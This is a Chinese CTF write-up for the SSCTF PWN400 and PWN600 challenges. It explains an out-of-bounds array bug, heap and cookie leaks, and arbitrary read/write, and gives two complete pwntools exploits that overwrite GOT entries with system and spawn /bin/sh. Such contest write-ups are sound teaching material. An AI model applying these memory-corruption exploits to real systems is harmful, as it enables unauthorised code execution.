SSCTF-PWN

　　前几天比赛的PWN题，简单写了下。

PWN400

　　漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后，对数据进行查询和更新时，可以访问到数组以外一个元素（4个字节）。

　　程序中存在3种数据结构，第一种是用于存储排序数据的基本块。可以定义为：

typedef struct chunk1{
    int size;
    int array[size];
}chunk1, *pchunk1;

　　第二种是用于索引这些排序数据块的基本块。可以定义为：

typedef struct chunk2{
    pchunk1 data;
    struct chunk2 *next;
}chunk2, *pchunk2;

　　第三种是用来索引前两种的基本块，在利用过程中并没有涉及到该数据结构。

　　通过构造内存，可以造成堆地址泄漏（这个简单，对数据进行排序后，通过越界访问就可以泄漏堆地址信息），此外，精心构造可以造成两个第一种基本块相邻接，这样就可以通过地址越界将相邻的第一种基本块的大小改为很大，造成任意地址的读和写。当然了，在该题中必须有整数溢出的一个漏洞才能达到最后的目的。

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 #by wangaohui
 5 s = remote('127.0.0.1', 10001)
 6 
 7 time.sleep(1)
 8 print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
 9 raw_input('go!')
10 
11 def sort(data):
12     s.sendline('sort')
13     s.recvuntil('How many numbers do you want to sort: ')
14     s.sendline(str(len(data)))
15     for i in data:
16         s.recvuntil('Enter a number: ')
17         s.sendline(str(i))
18 s.recvuntil('_CMD_$ ')
19 sort([1])
20 s.recvuntil('Choose: ')
21 s.sendline('3')
22 s.recvuntil('Choose: ')
23 s.sendline('1')
24 s.recvuntil('Query index: ')
25 s.sendline('1')
26 s.recvuntil('Query result: ')
27 bigtrunk = int(s.recvuntil('
')[:-1])
28 print 'leaked bigtrunk addr is %x' % bigtrunk
29 s.recvuntil('Choose: ')
30 s.sendline('7')
31 
32 s.recvuntil('_CMD_$ ')
33 sort([1,2,3,4,5,6,7])
34 s.recvuntil('Choose: ')
35 s.sendline('3')
36 s.recvuntil('Choose: ')
37 s.sendline('7')
38 
39 s.sendline('clear')
40 
41 s.recvuntil('_CMD_$ ')
42 sort([1,2,3,4,5,6,7])
43 s.recvuntil('Choose: ')
44 s.sendline('3')
45 s.recvuntil('Choose: ')
46 s.sendline('7')
47 
48 s.recvuntil('_CMD_$ ')
49 sort([1])
50 s.recvuntil('Choose: ')
51 s.sendline('2')
52 s.recvuntil('Update index: ')
53 s.sendline('1')
54 s.recvuntil('Update number: ')
55 s.sendline('1073741825') #0x40000001
56 s.recvuntil('Update succeed!')
57 s.sendline('7')
58 
59 s.recvuntil('_CMD_$ ')
60 s.sendline('reload')
61 s.recvuntil('Reload history ID: ')
62 s.sendline('0')
63 s.recvuntil('Choose: ')
64 s.sendline('1')
65 
66 atoigot = int('0804D020',16) + 0x100000000
67 index = (atoigot - (bigtrunk + 0xc))/4
68 
69 s.recvuntil('Query index: ')
70 s.sendline(str(index))
71 s.recvuntil('Query result: ')
72 atoi = int(s.recvuntil('
')[:-1])&0xffffffff
73 print 'leaked aoti addr: %x' % atoi
74 system = atoi - 0x2F7F0 + 0x3E360    #debug
75 
76 s.recvuntil('Choose: ')
77 s.sendline('2')
78 s.recvuntil('Update index: ')
79 s.sendline(str(index))
80 s.recvuntil('Update number: ')
81 systemstr = '-' + str((system^0xffffffff)+1)
82 s.sendline(systemstr)
83 
84 s.recvuntil('Choose: ')
85 s.sendline('/bin/sh;')
86 s.interactive()

PWN600

在PWN的基础上对第一种基本块加了Cookie，并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后，利用难度增加，Cookie是存放在.data数据段中，通过第一种数据块覆盖第二种数据块，可以造成Cookie的泄漏。

泄漏了Cookie后，就可以构造内存，伪造第一种基本数据块，接下来的思路就和PWN400相类似，任意地址读写。我这个EXP有个成功概率的问题，不会每次都成功。

 1 from pwn import *
 2 import time
 3 #context.log_level = 'debug'
 4 
 5 s = remote('127.0.0.1', 10001)
 6 time.sleep(1)
 7 print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
 8 raw_input('go!')
 9 
10 def sort(data):
11     s.sendline('sort')
12     s.recvuntil('How many numbers do you want to sort: ')
13     s.sendline(str(len(data)))
14     for i in data:
15         s.recvuntil('Enter a number: ')
16         s.sendline(str(i))
17 
18 s.recvuntil('_CMD_$ ')
19 sort([1,2])
20 s.recvuntil('Choose: ')
21 s.sendline('3')
22 s.recvuntil('Choose: ')
23 s.sendline('1')
24 s.recvuntil('Query index: ')
25 s.sendline('2')
26 s.recvuntil('Query result: ')
27 bigtrunk = int(s.recvuntil('
')[:-1])
28 print 'leaked bigtrunk addr is %x' % bigtrunk
29 
30 s.recvuntil('Choose: ')
31 s.sendline('2')
32 s.recvuntil('Update index: ')
33 s.sendline('2')
34 s.recvuntil('Update number: ')
35 s.sendline(str(int('0804C04C',16)))
36 s.recvuntil('Choose: ')
37 s.sendline('7')
38 
39 s.recvuntil('_CMD_$ ')
40 s.sendline('history')
41 s.recvuntil(', Len = ')
42 random = int(s.recvuntil(',')[:-1])
43 print 'leaked cookie is %x' % random
44 
45 s.recvuntil('_CMD_$ ')
46 t1 = int('40000001',16)
47 t2 = t1^random
48 if(t2>t1):
49     print 'Will be Exploited!'
50 sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
51 s.recvuntil('Choose: ')
52 s.sendline('3')
53 pos = bigtrunk + 0x20
54 s.recvuntil('Choose: ')
55 s.sendline('2')
56 s.recvuntil('Update index: ')
57 s.sendline('8')
58 s.recvuntil('Update number: ')
59 s.sendline(str(pos))
60 s.recvuntil('Choose: ')
61 s.sendline('7')
62 
63 s.recvuntil('_CMD_$ ')
64 s.sendline('reload')
65 
66 base = bigtrunk + 0x50
67 atol_got = 0x10804C01C
68 index = (atol_got - base)/4
69 print 'index is %d' % index
70 s.recvuntil('Reload history ID: ')
71 s.sendline('1')
72 s.recvuntil('Choose: ')
73 s.sendline('1')
74 s.recvuntil('Query index: ')
75 s.sendline(str(index))
76 s.recvuntil('Query result: ')
77 atol = int(s.recvuntil('
')[:-1])&0xffffffff
78 system = atol - 0x000327B0 + 0x0003E360
79 print 'leaked system addr is %x' % system
80 systemstr = '-' + str((system^0xffffffff)+1)
81 
82 s.recvuntil('Choose: ')
83 s.sendline('2')
84 s.recvuntil('Update index: ')
85 s.sendline(str(index))
86 s.recvuntil('Update number: ')
87 s.sendline(systemstr) 
88 s.recvuntil('Update succeed!')
89 s.recvuntil('Choose: ')
90 
91 s.sendline('/bin/sh;')
92 s.interactive()